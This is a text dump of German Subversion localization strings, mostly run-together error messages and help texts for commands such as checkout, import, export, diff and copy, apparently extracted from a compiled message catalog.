Kann nur eine Arbeitskopie mit einer eingeschränkten Tiefe beschneidenKann nur Verzeichnisse beschneidenKann Clientverbindung nicht annehmenKann »%s« nicht zu einem Elternverzeichnis hinzufügen, das selbst zum Löschen
vorgesehen istKann »%s« in gelöschtem Verzeichnis nicht hinzufügen; versuchen Sie zuerst,
das Löschen des Elternverzeichnisses rückgängig zu machenKann FS Mutex nicht anlegenKann »%s« nicht an »%s« anhängenKann Serververbindung nicht bindenKann die das angeforderte Datum nicht berechnenKann die Größe der Anfrage nicht berechnenKann die Zugriffsrechte der Datei »%s« nicht ändernKann Arbeitsverzeichnis nicht nach »%s« wechselnKann Verzeichnis »%s« nicht prüfenKann Pfad »%s« nicht prüfenKann »chmod '%s'« nicht durchführenKann Verzeichnis »%s« nicht schließenKann Datei »%s« nicht schließenKann Prototyp-Revisionssperrdatei für Transaktion »%s« nicht schließenKann Datenstrom nicht schließenKann nicht mit Host »%s« verbindenKann Modulpfad nicht von UTF-8 in UCS-2 konvertieren: »%s«Kann Zeichenkette nicht von »%s« nach »%s« konvertieren:Kann Zeichenkette nicht von »%s« in die eigene Codierung konvertieren:Kann Zeichenkette nicht von der eigenen Codierung nach »%s« konvertieren:Kann Zeichenkette nicht in UCS-2 konvertieren: »%s«Kann »%s« nicht nach »%s« kopierenKann DSO-Mutex nicht erzeugenKann FSFS-txn-list-Mutex nicht anlegenKann FSFS-txn-current-Mutex nicht anlegenKann FSFS Schreibschutz-Mutex nicht anlegenKann keinen Zeichenkonverter von »%s« nach »%s« erzeugenKann keinen Zeichenkonverter von »%s« in die eigene Kodierung erzeugenKann keinen Zeichenkonverter von der eigenen Codierung nach »%s« erzeugenKann keinen Eintrag für einen verbotenen Namen erzeugenKann einen Eintrag mit einem reservierten Namen nicht erzeugen, während versucht wird, »%s« hinzuzufügenKann Zwischenspeicher-Mutex nicht anlegenKann Verzeichnis »%s« nicht anlegenKann leere Standardausgabe für Aktion »%s« nicht anlegenKann »Pipe« für Aktion »%s« nicht anlegenKann Attribute von Prozess »%s« nicht erzeugenKann Serververbindung nicht erzeugenKann symbolischen Link »%s« nicht anlegenKann Thread nicht erzeugenKann »Thread« Attribut nicht erzeugenKann Tunnel nicht erzeugenKann MIME Typ der nicht-Datei »%s« nicht ermittelnKann die Zeichencodierung des Pfades nicht ermittelnKann Zeitangabe nicht expandierenKann gemeinsame FSFS-Daten nicht holenKann temporäres Verzeichnis nicht findenKann keinen Pfad einer Arbeitskopie findenKann keinen Eintrag findenKann Eintrag des Elternverzeichnisses während des Hinzufügens von »%s« nicht
findenKann Datei »%s« nicht leerenKann Datei nicht auf Festplatte leerenKann Datenstrom nicht leerenKann Adressinformation nicht ermittelnKann keine Attributinformationen aus Datei »%s« lesenKann keine Attributinformationen aus Datenstrom lesenKann die Standardberechtigungen für Datei in »%s« nicht holen (Dateistatus)Kann keine Einträge aus einem nicht-Verzeichnis lesenKann keinen exklusiven Zugriff auf Datei »%s« erlangenKann keinen Dateinamen holenKann die Berechtigungen für Datei in »%s« nicht holen (Dateistatus)Kann den Hostnamen nicht erhaltenKann den lokalen Hostnamen nicht bekommenKann Namen der Moduldatei nicht ermittelnKein Passwort erhaltenKann keine gemeinsame Sperre für Datei »%s« erhaltenKann Socket-Timeout nicht erhaltenKann Benutzername oder Passwort nicht erhaltenKann Arbeitsverzeichnis nicht ermittelnKann DSO-Mutex nicht greifenKann FS Mutex nicht greifenKann FSFS-Mutex für »%s« nicht greifenKann FSFS-txn-list-Mutex nicht greifenKann Verzeichnis »%s« nicht versteckenKann Zusammenführungsinformationszähler für Datei-Knotenrevision %%s nicht auf %%%s (> 1) erhöhenKann Zusammenführungsinformationszähler für Knotenrevision %%s nicht auf negativen Wert %%%s erhöhenKann keinen »memcached«-Zwischenspeicher durchlaufenKann Zwischenspeicher-Mutex nicht sperrenKann das Semaphor zur Zeichensatzkonvertierung nicht sperrenKann Verzeichnis »%s« nicht anlegenKann Pipe-Lese-Handle für Aktion »%s« nicht nicht-erbbar machenKann Pipe-Schreib-Handle für Aktion »%s« nicht nicht-erbbar machenKann das aktuelle Datum nicht manipulierenKann »%s« nicht nach »%s« verschiebenKann Quelle nicht nach Ziel verschiebenKann »%s« nicht öffnenKann Verzeichnis »%s« nicht öffnenKann Datei »%s« nicht öffnenKann Datei in »%s« nicht öffnenKann Standardfehlerausgabe nicht öffnenKann Standardeingabe nicht öffnenKann Standardeingabe nicht öffnenKann Standardausgabe nicht öffnenKann »lock/entries« Hashdatei »%s« nicht zerlegenKann Inhalt des Verweises nicht lesenKann Verzeichnis nicht lesenKann Verzeichnis »%s« nicht lesenKann Verzeichniseintrag in »%s« nicht lesenKann Datei »%s« nicht lesenDie erste Zeile der Formatdatei »%s« kann nicht gelesen werdenKann nicht aus Verbindung lesenKann Längenzeile nicht aus Datei »%s« lesenKann Längenzeile nicht aus Datenstrom lesenKann nicht aus Standardeingabe lesenKann nicht aus Datenstrom lesenKann Fehlermeldung von APR nicht umkodierenKann »%s« nicht löschenKann Verzeichnis »%s« nicht entfernenKann Datei »%s« nicht löschenKann »%s« in gelöschtem Verzeichnis nicht ersetzen; versuchen Sie zuerst,
das Löschen des Elternverzeichnisses rückgängig zu machenKann »%s« nicht durch einen Knoten eines anderen Typs ersetzen; Übertragen Sie die Löschung, aktualisieren Sie das Elternverzeichnis und fügen Sie erst dann »%s« hinzuKann nicht in das Arbeitsverzeichnis zurückwechselnKann Verzeichnis »%s« nicht zurückspulenKann Zugriffszeit von »%s« nicht setzenKann nicht in den gelösten Status wechselnKann den Schreibschutz der Datei »%s« nicht setzenKann den Schreibschutz der Datei »%s« nicht aufhebenKann Berechtigungen auf »%s« nicht setzenKann Positionszeiger in Datei »%s« nicht setzenKann Positionszeiger in Datenstrom nicht setzenKann Fehlerausgabe des Kindprozesses »%s« nicht setzenKann Datei für die Fehlerbehandlung des Kindprozesses »%s« nicht setzenKann Eingabe des Kindprozesses »%s« nicht setzenKann Ausgabe des Kindprozesses »%s« nicht setzenKann Kommandotyp von Prozess »%s« nicht setzen Kann Verzeichnis von Prozess »%s« nicht setzenKann die Fehlerbehandlung des Prozesses »%s« nicht setzenKann keine Eigenschaften für *nicht-veränderliche* Knotenrevision %s setzen.Kann Textinhalt im Verzeichnis nicht erzeugen-c kann nicht mit --old verwendet werdenZeile kann nicht in Komponenten zerlegt werden: »%s«Kann Prozess »%s« nicht startenKann Status von »%s« nicht ermittelnKann gemeinsame FSFS-Daten nicht speichernKann Anweisung »%s« nicht zerlegenKann Datei »%s« nicht abschneidenKann Datenstrom nicht abschneidenKann DSO-Mutex nicht loslassenKann FS Mutex nicht loslassenKann FSFS-Mutex für »%s« nicht loslassenKann FSFS-txn-list-Mutex nicht loslassenKann Zwischenspeicher-Mutex nicht entsperrenKann das Semaphor zur Zeichensatzkonvertierung nicht freigebenNicht gesperrte Transaktion »%s« kann nicht freigeben werdenKann Prototyp-Revisionssperrdatei für Transaktion »%s« nicht entsperrenKann unbekannte Transaktion »%s« nicht freigebenKann nicht nach »%s« schreibenKann nicht in Verbindung schreibenKann nicht in Datei »%s« schreibenKann nicht in Datenstrom schreibenKann Eigenschaft »%s« nicht akzeptieren, da sie nicht in UTF-8 kodiert istKann nicht-»LF« (LF = Unix-artige) Zeilenumbrüche in Eigenschaft »%s« nicht akzeptierenKann einen Pfad nicht sowohl ausschließen als auch umstellenKann Binärdatei »%s« nicht annotierenKann Knotentyp nicht ändernKann »%s« und »%s« nicht übertragen, da beide auf dieselbe URL verweisenKann Dateiinhalte nicht zwischen verschiedenen Dateisystemen vergleichenKann Eigenschaftswert nicht zwischen verschiedenen Dateisystemen vergleichenKann nicht zwischen zwei verschiedenen Dateisystemen (»%s« und »%s«) kopierenKann »%s« nicht kopieren oder verschieben, da es sich noch nicht im
Projektarchiv befindet, versuchen Sie es zuerst zu übertragenKann Pfad »%s« nicht in sein eigenes Kind »%s« kopierenKann keine Revisionseigenschaften für eine Revision (%ld) kopieren, die noch nicht synchronisiert wurdeKann nach »%s« kopieren, da es zum Löschen vorgesehen istKann »%s« nicht kopieren, da es nicht aus dem Projektarchiv »%s« stammt
sondern aus »%s«Kann »%s« nicht beschneiden: Es ist ein umgestellter PfadKann »%s« nicht beschneiden: Es soll vom Projektarchiv entfernt werden. Versuchen Sie stattdessen es zu übertragenKann externen Dateiverweis nicht löschenDie Erstellung von Deltas für Revisionen vor r%ld ist nicht möglichDie Revision der Arbeitskopie kann nicht bestimmt werdenKann nicht anzeigen: Dateityp ist als binär angegeben.%sKann aktuelles Verzeichnis nicht exkludierenKann Wurzelverzeichnis nicht exkludierenKann keine URL für »%s« findenKann kein Projektarchiv mit Inhalt initialisierenEin externer Dateiverweis von »%s« kann nicht in die Arbeitskopie eines anderen Projektarchivs mit der Wurzel »%s« eingefügt werdenKann den Editor für Logmeldungen nur im interaktiven Modus aufrufenQuellen aus dem Projektarchiv und einer Arbeitskopie können nicht gemischt werdenKann die Transaktion namens »%s« in Dateisystem »%s« nicht modifizierenKann URL »%s« nicht auf sich selbst verschiebenKann externen Dateiverweis nicht verschiebenKann »%s« nicht auf sich selbst verschiebenExterner Dateiverweis bei »%s« kann nicht verschoben werden; bitte bearbeiten Sie die für die Erstellung verantwortliche Eigenschaft svn:externalsKann Anmeldungsmechanismus nicht aushandelnDas Löschen eines Verzeichnisses mit Untereinträgen kann nur rekursiv übertragen werdenKann nicht zurück in eine Arbeitskopie integrieren, die keine vollständig unendliche Tiefe hatKann nicht zurück in eine Arbeitskopie integrieren, die lokale Änderungen hatKann nicht zurück in eine Arbeitskopie mit umgestelltem Unterbaum integrierenKann nicht zurück in eine Arbeitskopie mit verschiedenen Revisionen integrieren, versuchen Sie erst zu aktualisierenExterner Dateiverweis bei »%s« kann nicht entfernt werden; bitte bearbeiten oder löschen Sie die für die Erstellung verantwortliche Eigenschaft svn:externalsKann ein Verzeichnis nicht innerhalb sich selbst ersetzenKann keinen Bereich aus der zukünftigen Geschichte des Pfades rückwärts zusammenführen; versuchen Sie zuerst zu aktualisierenKann »%s« nicht zurücksetzen: nicht unterstützter EintragsknotentypKann »%s« nicht zurücksetzen: nicht unterstützter Knotentyp in ArbeitskopieKann Hinzufügen des aktuellen Verzeichnisses nicht zurücknehmen; bitte versuchen Sie es aus dem Elternverzeichnis erneutNicht versioniertes Objekt »%s« kann nicht rückgängig gemacht werdenKann »%s« nicht für ein Verzeichnis setzen (»%s«)Kann »%s« nicht für eine Datei setzen (»%s«)Die Angabe eines Revisionsbereichs mit zwei URLs ist nicht möglichZum Löschen der versionierten Eigenschaft »%s« darf keine Revision angegeben werdenBeim Bearbeiten der versionierten Eigenschaft »%s« darf keine Revision angegeben werdenBeim Setzen der versionierten Eigenschaft »%s« darf keine Revision angegeben werdenAndere Revisionen (als HEAD) sind bei Verschiebeoperationen nicht zugelassenKann Pfad »%s« nicht freigeben, kein angemeldeter Benutzername verfügbarMan kann nicht --username oder --password mit einem von --source-username, --source-password, --sync-username oder --sync-password verwenden.
Kann Sperre für Pfad »%s« nicht prüfen; keine entsprechende Sperrmarke verfügbarKann Sperre für Pfad »%s« nicht prüfen; keine Benutzername verfügbarKann »lock/entries« Hashdatei »%s« nicht schreibenKann Eigenschafts-Hashwert nicht nach »%s« schreibenKann nicht in die Prototyp-Revisionsdatei der Transaktion »%s« schreiben, da eine frühere Darstellung zurzeit von einem anderen Prozess geschrieben wirdKann nicht in die Prototyp-Revisionsdatei der Transaktion »%s« schreiben, da eine frühere Darstellung zurzeit von diesem Prozess geschrieben wirdEigenschaftseintrag ist kein WortAbbruchsignal empfangenEinstellen der Benutzung dieser APIZertifikats-Informationen:
 - Hostname: %s
 - Gültig: von %s bis %s
 - Aussteller: %s
 - Fingerabdruck: %s
Geänderte Pfade:
Eintrag für geänderte Pfade ist keine ListeÄnderungsliste passt nichtNamen von Änderungslisten dürfen nicht leer seinÄnderungsliste: %s
Checkt eine Arbeitskopie aus einem Projektarchiv aus.
Aufruf: checkout URL[@REV]... [PFAD]

  Falls angegeben, legt REV fest, in welcher Revision die URL zuerst
  nachgeschlagen wird.

  Ohne Angabe von PFAD wird der Basisname der URL als Ziel verwendet.
  Sind mehrere URLs angegeben, wird jede in ein Unterverzeichnis von
  PFAD ausgecheckt, dessen Name der Basisname der URL ist.

  Bei Angabe von --force lassen nicht versionierte, behindernde Objekte
  in der Arbeitskopie den Vorgang nicht automatisch fehlschlagen. Falls
  der behindernde Pfad vom gleichen Typ (Datei oder Verzeichnis) wie der
  entsprechende Pfad im Projektarchiv ist, wird er versioniert, behält
  aber seinen ursprünglichen Inhalt. Das bedeutet, dass nicht versionierte
  Unterverzeichnisse eines behindernden Verzeichnisses ebenfalls versioniert
  werden können. Bei Dateien werden alle Unterschiede im Inhalt wie lokale
  Modifikationen in der Arbeitskopie behandelt. Sämtliche Eigenschaften
  aus dem Projektarchiv werden auf den behindernden Pfad angewendet.

  Siehe auch »svn help update« für eine Liste möglicher Buchstaben,
  die die durchgeführte Aktion beschreiben.
Externer Verweis ausgecheckt, Revision %ld.
Ausgecheckt, Revision %ld.
Auschecken abgeschlossen.
Prüfsummenfehler für »%s«:
   Erwartet:    %s
   Tatsächlich: %s
Prüfsummenfehler für »%s«; erwartet: »%s«, tatsächlich: »%s«Prüfsummenfehler für »%s«; erwartet: »%s«, tatsächlich: »%s«Prüfsummenfehler für Volltextergebnis:
(%s):
   Erwartet:    %s
   Tatsächlich: %s
Prüfsummenfehler ist Anzeichen für beschädigte Textbasis: »%s«
   Erwartet:    %s
   Tatsächlich: %s
Prüfsummenfehler, Datei »%s«:
   Erwartet:    %s
   Tatsächlich: %s
Prüfsummenfehler beim Lesen der Darstellung:
   Erwartet:    %s
   Tatsächlich: %s
Prüfsummenfehler, Datei »%s«:
   Erwartet:    %s
   Tatsächlich: %s
Prüfsummenfehler, Datei »%s«:
   Erwartet:    %s
   Tatsächlich: %s
Prüfsumme: %s
Client Zertifikatsdatei: Client- und Serverversion stimmen nicht übereinDas Kommando »finish-replay« ist außerhalb von »replay«s ungültigKommentar (%i Zeile):
%s
Kommentar (%i Zeilen):
%s
Kommentar (%i Zeile):
%s

Kommentar (%i Zeilen):
%s

ÜbertragenÜberträgt eine nicht versionierte Datei oder einen Dateibaum in das
Projektarchiv.
Aufruf: import [PFAD] URL

  Überträgt rekursiv eine Kopie des PFADes zur URL.
  Ohne Angabe von PFAD wird ».« angenommen. Übergeordnete Verzeichnisse
  werden soweit erforderlich im Projektarchiv angelegt.
  Falls PFAD ein Verzeichnis ist, wird dessen Inhalt direkt unterhalb der URL
  hinzugefügt.
  Nichtversionierbare Elemente wie Gerätedateien und Pipes werden ignoriert,
  falls --force angegeben wird.
Übertragung erzeugte Revision %ld, sollte aber %ld erzeugenÜbertragen schlug fehl (Details folgen):Übertragenes Objekt »%s« ist als Kopie markiert, hat aber eine ungültige RevisionÜbertragenes Objekt »%s« ist als Kopie markiert, besitzt aber keine Quell-URLÜbertragen erfolgreich, aber andere Fehler folgen:Übertragen erfolgreich, aber die »post-commit«-Aktion schlug fehlRevision %ld übertragen.
Übertragung in einem Verzeichnis, das zum Hinzufügen vorgesehen istKompression der svndiff-Daten schlug fehlKonfigurationsfehler: Ungültiger logischer Wert »%s« für »%s«Konfigurationsfehler: Ungültiger logischer Wert »%s« für »[%s] %s«Konfigurationsfehler: Ungültige Ganzzahl »%s«Konfigurationsfehler: Ungültiger Wert »%s« für Option »%s«Konflikt: aktuelle Ausgangsdatei: %s
Konflikt: vorherige Ausgangsdatei: %s
Konflikt: vorherige Arbeitsdatei: %s
Konfliktdatei mit Eigenschaften: %s
Konflikt bei »%s«Konflikt-Aktion verletzte die API: keine zusammengeführte Datei wurde zurückgeliefertKonflikt-Aktion verletzte die API: keine zusammengeführte Datei wurde zurückgeliefert.Konflikt-Aktion verletzte die API: keine Ergebnisse wurden zurückgeliefertKonflikt-Aktion verletzte die API: keine Ergebnisse wurden zurückgeliefert.Konflikt in »%s« entdeckt.
Beim Versuch, »%s« hinzuzufügen, wurde ein Konflikt entdeckt.
Ein Objekt mit demselben Namen existiert bereits.
Konflikt für Eigenschaft »%s« für »%s« entdeckt.
Konfliktauflösung schlug fehlKopiert von Rev: %ld
Kopiert von URL: %s
Kopierte Eigenschaften für Revision %ld (%s* Eigenschaften übergangen).
Eigenschaften für Revision %ld kopiert.
Kopiert: %s (von Rev %ld, %s)
Kopieren eines veränderlichen Baumes wird derzeit nicht unterstütztPrüfsummenfehler für Kopie von »%s«@%ld
 nach »%s« in der auf r%ld basierten Revision:
   Erwartet:    %s
   Tatsächlich: %s
Die Quell-URL »%s« hat eine andere Projektarchiv-Basis als »%s«Kopieren aus Transaktionen ist nicht erlaubt.Copyright (C) 2000-2009 CollabNet.
Subversion ist Open-Source-Software, siehe http://subversion.tigris.org/
Dieses Produkt enthält Software, die von CollabNet (http://www.Collab.Net/) entwickelt wurde.

DB beschädigt: Fehlerhafte VorgängeranzahlDB beschädigt: Erste Kopie ist nicht »0« in Dateisystem »%s«DB beschädigt: Erste Revision ist nicht »0« in Dateisystem »%s«DB beschädigt: Erste Transaktion ist nicht »0« in Dateisystem »%s«Aktuelle Datei beschädigtBeschädigter Eintrag in »copies« Tabelle für »%s« in Dateisystem »%s«Beschädigter Eintrag in »transactions« Tabelle für »%s« in Dateisystem »%s«Beschädigte Dateisystemrevision %ld in Dateisystem »%s«Beschädigte Sperre in »locks« Tabelle für »%s« in Dateisystem »%s«Beschädigte Sperrdatei für Pfad »%s« in Dateisystem »%s«Beschädigter Knoten-Id in KnotenrevisionBeim Lesen der Delta-Kette aus der Darstellung »%s« nach »%s« wurde eine Beschädigung entdecktKonnte oberstes Verzeichnis nicht erzeugenKonnte die Versionsressourcen-URL nicht bestimmen (wird für einen Import oder, falls sie in den lokalen, zwischengespeicherten Eigenschaften fehlt, benötigt)Konnte Zeilenende in Bereichslistenzeile in »%s« nicht findenKonnte »content-type« nicht aus der Antwort lesenKonnte die SASL-Bibliothek nicht initialisierenKonnte Rechnernamen »%s« nicht nachschlagenKonnte die Liste der SASL-Mechanismen nicht erhaltenKonnte Zusammenführungsinformationszeichenkette »%s« nicht einlesenKonnte Datei nicht sichernKonnte die URL der versionierten Ressource nicht speichernKonnte keinen externen Editor zur Eingabe der Logmeldung bestimmen. Setzten Sie entweder die $SVN_EDITOR Umgebungsvariable oder verwenden Sie die --message (-m) oder --file (-F) OptionenKonnte svndiff nicht in Temporärdatei schreibenKonnte den absoluten Pfad von »%s« nicht ermittelnKonnte Eigenschaften nicht zusammenführenKonnte Projektarchiv nicht findenKann den angemeldeten Benutzername nicht erhaltenKonnte Projektarchiv nicht öffnenKann Log-Datei nicht öffnenEine atomare Initialisierung konnte nicht durchgeführt werdenErzeugt ein neues Verzeichnis unter Versionskontrolle.
Aufruf: 1. mkdir PFAD...
        2. mkdir URL...

  Erzeugt Verzeichnisse unter Versionskontrolle.

  1. Jedes durch den PFAD einer Arbeitskopie spezifizierte Verzeichnis wird
     lokal erzeugt und zum Hinzufügen bei der nächsten Übertragung eingeplant.

  2. Jedes durch eine URL spezifizierte Verzeichnis wird mittels einer
     sofortigen Übertragung im Projektarchiv angelegt.

  In beiden Fällen müssen alle Zwischenverzeichnisse bereits existieren,
  es sei denn, die Option --parents wurde angegeben.
Erzeugt eine nicht versionierte Kopie eines Dateibaumes.
Aufruf: 1. export [-r REV] URL[@PEGREV] [PFAD]
        2. export [-r REV] PFAD1[@PEGREV] [PFAD2]

  1. Exportiert einen sauberen Verzeichnisbaum, der durch die URL
     spezifiziert ist, aus dem Projektarchiv nach PFAD. Ohne Angabe von REV
     wird HEAD exportiert, sonst REV. Ohne Angabe von PFAD wird der letzte
     Abschnitt der URL als lokaler Verzeichnisname verwendet.

  2. Exportiert einen sauberen Verzeichnisbaum aus PFAD1 heraus in das
     Verzeichnis PFAD2. Ohne Angabe von REV wird WORKING exportiert,
     sonst REV. Ohne Angabe von PFAD2 wird der letzte Abschnitt von PFAD1
     als lokaler Verzeichnisname verwendet. Ohne Angabe von REV werden alle
     lokalen Änderungen beibehalten. Objekte, die sich nicht unter
     Versionskontrolle befinden, werden in diesem Fall auch nicht kopiert.

  PEGREV gibt an, in welcher Revision das Ziel zuerst gesucht wird.
Erstellt: %s
Erzeuge Verzeichnis für DAV-SandkastenErzeuge Datei »authz«Erzeuge KonfigurationsverzeichnisErzeuge Datenbank-SperrdateiErzeuge Sperrdatei für DatenbanklogsLege Verzeichnis für Aktionen anErzeuge Verzeichnis für DatenbanksperrenErzeuge Datei »passwd«Erzeuge Aktion »post-commit«Erzeuge Aktion »post-revprop-change«Erzeuge Aktion »pre-commit«Erzeuge Aktion »pre-revprop-change«Erzeuge Aktion »start-commit«Erzeuge Datei »svnserve.conf«Beglaubigungsdaten nicht verfügbarBeglaubigungsdaten nicht gespeichertDAV-Anfrage schlug fehl; möglicherweise ist entweder die Aktion »pre-revprop-change« gescheitert oder sie fehltDaten können nicht sicher in XML eingebettet werdenDekompression der svndiff-Daten schlug fehlStandardeintrag hat keine RevisionsnummerStandardeintrag hat keine URLVorgabe: »-u«. Wenn Subversion ein
                             externes Vergleichsprogramm aufruft, wird PAR nur
                             an das Programm weitergereicht. Wenn Subversion
                             aber sein internes Vergleichsprogramm benutzt
                             oder Annotierungen anzeigt, kann PAR einen der
                             folgenden Werte annehmen:
                                -u (--unified):
                                   Gibt 3 Zeilen Standardkontext aus.
                                -b (--ignore-space-change):
                                   Ignoriert Änderungen in der Anzahl von
                                   Leerzeichen.
                                -w (--ignore-all-space):
                                   Ignoriert sämtliche Leerzeichen.
                                --ignore-eol-style:
                                   Ignoriert Änderungen im EOL-StilVorgabe: »-u«. Wenn Subversion ein
                             externes Vergleichsprogramm aufruft, wird PAR nur
                             an das Programm weitergereicht. Wenn Subversion
                             aber sein internes Vergleichsprogramm benutzt
                             oder Annotierungen anzeigt, kann PAR einen der
                             folgenden Werte annehmen:
                                -u (--unified):
                                   Gibt 3 Zeilen Standardkontext aus.
                                -b (--ignore-space-change):
                                   Ignoriert Änderungen in der Anzahl von
                                   Leerzeichen.
                                -w (--ignore-all-space):
                                   Ignoriert sämtliche Leerzeichen.
                                --ignore-eol-style:
                                   Ignoriert Änderungen im Zeilenendestil.
                                -p (--show-c-function):
                                   Zeigt C-Funktionsname in Diff-Ausgabe.Löschen schlug fehl: Verzeichnis hat keinen Eintrag »%s«GelöschtGelöscht: %s
Gelöscht: %s%sLösche         %s
Delta-Tiefe »exclude« wird nicht unterstütztDelta enthält nicht genügend neue DatenDelta füllt das Zielfenster nichtDelta Eigenschaftsblock erkannt - wird von svndumpfilter nicht unterstütztBilde Deltas für Revision %ld ...Tiefe »exclude« wird für Links nicht unterstütztTiefe: UNGÜLTIG
Tiefe: leer
Tiefe: Dateien
Tiefe: immediates
Beschreibt die Anwendung dieses Programms und seiner Unterbefehle.
Aufruf: help [UNTERBEFEHL...]
Beschreibt die Anwendung dieses Programms und seiner Unterbefehle.
Aufruf: svndumpfilter help [UNTERBEFEHL...]
Ziel »%s« existiert bereitsZiel »%s« ist kein VerzeichnisZiel-HEAD (%ld) ist nicht die zuletzt zusammengeführte Revision (%ld). Haben Sie in das Ziel ohne Verwendung von svnsync übertragen?Ziel-URLs sind kaputtZielverzeichnis existiert und kann nur mittels »--force« überschrieben werdenZielverzeichnis existiert; bitte löschen Sie das Verzeichnis oder verwenden Sie »--force« zum ÜberschreibenDem Zielverzeichnis von add-with-history fehlt eine URLZielprojektarchiv wurde noch nicht initialisiertDas Zielprojektarchiv synchronisiert bereits von »%s«Erwartete nicht, dass »%s« Basis einer Arbeitskopie istKeine Endemarke für Sperrantworten erhaltenKeine Endemarke für Entsperrantworten erhaltenDiff-Datenquellen wurden unerwarteterweise verändertInkonsistenzen in Diffversion in Darstellung »%s«Verzeichnis »%s« mit Administrationsdateien der Arbeitskopie fehltVerzeichnis »%s« hat keinen »THIS_DIR« EintragVerzeichnis »%s« hat keine URLVerzeichnis »%s« fehltVerzeichnis »%s« ist veraltetVerzeichnis »%s« ist veraltet; versuchen Sie zu aktualisierenVerzeichniseintrag beschädigtDas Verzeichnis muss leer sein, ist es aber nichtVerzeichniseintrag ist keine ListeDeaktiviertes Merkmal des ProjektarchivsZeigt Informationen über ein lokales oder auf dem Server befindliches
Objekt an.
Aufruf: info [ZIEL[@REV]...]

  Gibt Informationen über jedes ZIEL aus (Vorgabe: ».«).
  ZIEL kann entweder ein Pfad einer Arbeitskopie oder eine URL sein. Wenn
  angegeben, bestimmt REV, in welcher Revision zuerst nach dem Ziel gesucht
  wird.
Anzeige relevanter Informationen zu Zusammenführungen.
Aufruf: mergeinfo QUELLE[@REV] [ZIEL[@REV]]

  Zeigt Informationen zu Zusammenführungen (oder potentiellen
  Zusammenführungen) zwischen QUELLE und ZIEL (Standard: ».«) an.
  Falls die Option --show-revs nicht angegeben wurde, werden
  Revisionen, die von QUELLE nach ZIEL zusammengeführt wurden,
  angezeigt. Andernfalls wird die Art der Information angezeigt,
  die durch die Option --show-revs spezifiziert wurde.
Zeigt die Unterschiede zwischen zwei Revisionen oder Pfaden an.
Aufruf: 1. diff [-c M | -r N[:M] [ZIEL[@REV]...]
        2. diff [-r N[:M]] --old=ZIEL-ALT[@REVALT] [--new=ZIEL-NEU[@REVNEU]] \
                [PFAD...]
        3. diff URL-ALT[@REVALT] URL-NEU[@REVNEU]

  1. Zeigt die Änderungen an ZIELen, wie sie in REV zwischen zwei Revisionen
     sichtbar sind. ZIELe können alle Arbeitskopien oder URLs sein.

     Falls ZIELe Arbeitskopiepfade sind, wird standardmäßig BASE für N und
     die Version der Arbeitskopie für M verwendet; bei URLs muss N angegeben
     werden und M entspricht HEAD.
     Die Option »-c M« ist äquivalent zu »-r N:M«, wobei N = M-1 gilt.
     Die Verwendung von »-c -M« macht es andersherum: »-r M:N« mit N = M-1.

  2. Zeigt die Unterschiede zwischen ZIEL-ALT in REVALT und ZIEL-NEU in REVNEU.
     Wenn PFADe angegeben werden, sind diese relativ zu ZIEL-ALT und ZIEL-NEU,
     und die Ausgabe ist auf Unterschiede zwischen diesen Pfaden beschränkt.
     ZIEL-ALT und ZIEL-NEU können Pfade der Arbeitskopie oder der Art URL[@REV]
     sein. ZIEL-NEU entspricht ZIEL-ALT, falls es nicht angegeben wurde.
     -r N setzt REVALT auf N, -r N:M setzt REVALT auf N und REVNEU auf M.

  3. Kurzform für »svn diff --old=URLALT[@REVALT] --new=URLNEU[@REVNEU]«.

  Verwenden Sie einfach »svn diff«, um lokale Änderungen in einer Arbeitskopie
  anzuzeigen.
Filterstatistik nicht anzeigen.Revisionseigenschaften nicht filtern.Es ist nichts über die Eigenschaft »%s« bekanntEs ist unklar, wie mit »%s« für Eigenschaft »%s« verfahren werden soll%d Knoten verworfen:
%d Knoten verworfen:
%d Revision verworfen.

%d Revisionen verworfen.

Datenstrom enthält fehlerhaften Kopf (ohne »:«) in »%.20s«Datenstrom enthält fehlerhaften Kopf (ohne Wert) in »%.20s«Daten des Dateiabzugs scheinen fehlerhaft zu seinDupliziert etwas in der Arbeitskopie oder im Projektarchiv unter
Beibehaltung der Historie.
Aufruf: copy QUELLE[@REV]... ZIEL

Wenn mehrere Quellen kopiert werden, werden diese als Kinder von ZIEL
hinzugefügt, was ein Verzeichnis sein muss.

  QUELLE und ZIEL können jeweils entweder ein Arbeitskopiepfad (AK) oder eine
  URL sein:
    AK  -> AK:   Kopieren und zum Hinzufügen einplanen (inklusive Historie)
    AK  -> URL:  Sofort eine Kopie von AK zur URL übertragen
    URL -> AK:   Eine Kopie von URL nach AK auschecken und zum Hinzufügen
                 einplanen
    URL -> URL:  Vollständig serverseitige Kopie. Wird zum Verzweigen
                 und Markieren (branch & tag) verwendet.
  Alle QUELLEn müssen vom selben Typ sein.

WARNUNG: Für Kompatibilität mit älteren Versionen von Subversion,
werden Kopien, die über zwei Arbeitskopiepfade (WC -> WC) vorgenommen
wurden, nicht das Projektarchiv kontaktieren. Deswegen könnten sie
standardmäßig nicht in der Lage sein, Zusammenführungsinformationen
von der Quelle der Kopie in das Ziel weiterzureichen.
Ändert eine Eigenschaft mit einem externen Editor.
Aufruf: 1. propedit PROPNAME ZIEL...
        2. propedit PROPNAME --revprop -r REV [ZIEL]

  1. Bearbeitet versionierte Eigenschaften in der Arbeitskopie oder im
     Projektarchiv.
  2. Bearbeitet nicht versionierte entfernte Eigenschaften im Projektarchiv.
     ZIEL legt nur das Projektarchiv fest, auf das zugegriffen wird.

Siehe »svn help propset« für Weiteres zum Setzen von Eigenschaften.
Eine URL oder ein versioniertes Objekt muss angegeben werdenLeeres Feld »victim« in BaumkonfliktbeschreibungLeere FehlerlisteLeere Knotenrevision im ZwischenspeicherEndrevision %ld ist ungültig (neueste Revision ist %ld)Eintrag »%s« hat einen ungültigen PlanEintrag »%s« hat einen ungültigen »%s« WertEintrag »%s« hat eine ungültige TiefeEintrag »%s« hat einen ungültigen KnotentypEintrag »%s« hat keine URLDer Spezialstatus von Eintrag »%s« hat sich unerwarteterweise geändertEintrag »%s« ist bereits unter VersionskontrolleEintrag existiert bereitsEintrag enthält nichtkanonischen Pfad »%s«Eintrag für »%s« existiert (die Arbeitsdatei fehlt jedoch)Eintrag »%s« hat eine ungültige Projektarchiv-BasisEintrag für »%s« hat keine URLEintrag für »%s« ist als »kopiert« markiert, aber ist selbst nicht
zum Hinzufügen geplant. Vielleicht übertragen Sie ein Ziel, das
sich in einem nicht versionierten (oder noch-nicht-versionierten)
